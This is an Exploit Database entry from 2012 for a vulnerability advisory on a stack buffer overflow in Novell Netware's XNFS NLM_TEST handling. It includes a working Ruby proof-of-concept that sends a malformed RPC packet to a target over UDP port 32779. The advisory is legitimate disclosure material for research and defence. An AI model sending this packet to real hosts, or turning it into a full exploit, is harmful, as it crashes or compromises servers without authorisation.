Novell Netware – XNFS caller_name xdrDecodeString Remote Code Execution

• Exploit Database
• 115 阅读

• 作者： Francis Provencher
  日期： 2012-01-10
• 类别：

  • dos
  平台：

  • netware
• 来源：https://www.exploit-db.com/exploits/18351/
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  #####################################################################################   Application: Novell Netware XNFS caller_name xdrDecodeString Remote Code Execution Vulnerability   Platforms: Novell Netware 6.5 SP8   Exploitation: Remote code execution   CVE Number:   Novell TID: 5117430   ZDI: ZDI-12-11   {PRL}: 2012-03   Author: Francis Provencher (Protek Research Lab's)   Website: http://www.protekresearchlab.com/   Twitter: @ProtekResearch     #####################################################################################   1) Introduction 2) Timeline 3) Technical details 4) PoC     #####################################################################################   =============== 1) Introduction ===============   Novell, Inc. is a global software and services company based in Waltham, Massachusetts.   The company specializes in enterprise operating systems, such as SUSE Linux Enterprise   and Novell NetWare; identity, security, and systems management solutions; and   collaboration solutions, such as Novell Groupwise and Novell Pulse.   Novell was instrumental in making the Utah Valley a focus for technology and software   development. Novell technology contributed to the emergence of local area networks,   which displaced the dominant mainframe computing model and changed computing worldwide.   Today, a primary focus of the company is on developing open source software for   enterprise clients.   (http://en.wikipedia.org/wiki/Novell)   #####################################################################################   ============================ 2) Timeline ============================   2011-05-05 - Vulnerability reported to vendor 2012-01-10 - Coordinated public release of advisory   #####################################################################################   ============================ 3) Technical details ============================   This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Novell Netware.   Authentication is not required to exploit this vulnerability. The flaw exists within the xnfs.nlm component which   is used when handling NFS RPC requests. This process listens on UDP port 32779. When decoding the xdr   encoded caller_name from an NLM_TEST procedure request the process uses the user supplied length as   the bounds for its copy to a stack buffer. A remote attacker can exploit this vulnerability to execute arbitrary   code under the context of the system.     #####################################################################################   =========== 4) The Code ===========   #!/usr/bin/ruby   require 'socket'   xnfs_server = (ARGV[0]) target_port = (ARGV[1] || 32779)   #RPC/Portmap packet beepbeep= "\x1c\xd1\xef\xab"+ # XID "\x00\x00\x00\x00" + # Message Type: Call (0) "\x00\x00\x00\x02" + # RPC Version: 2 "\x00\x01\x86\xb5" + # Program: 100021 "\x00\x00\x00\x01" + # Program Version: 1 "\x00\x00\x00\x01" + # Procedure: TEST   "\x00\x00\x00\x00\x00\x00\x00\x00" +   "\x00\x00\x00\x00\x00\x00\x00\x00" + # Verifier NULL   "\x00\x00\x00\x02\x00\x00\x00\x02\x07\x40\x38\xb0\x41\x41\x41\x41"         puts "[+]Sending UDP Packet...\n" puts "[+] beep beep\n" puts "[+]No, it's not the road runner\n"     if (!(xnfs_server && target_port)) puts "Usage: PRL-2012-03.rb host port (default port: 32779)\n" exit else   sock = UDPSocket.open sock.connect(xnfs_server, target_port.to_i) sock.send(beepbeep, 0) end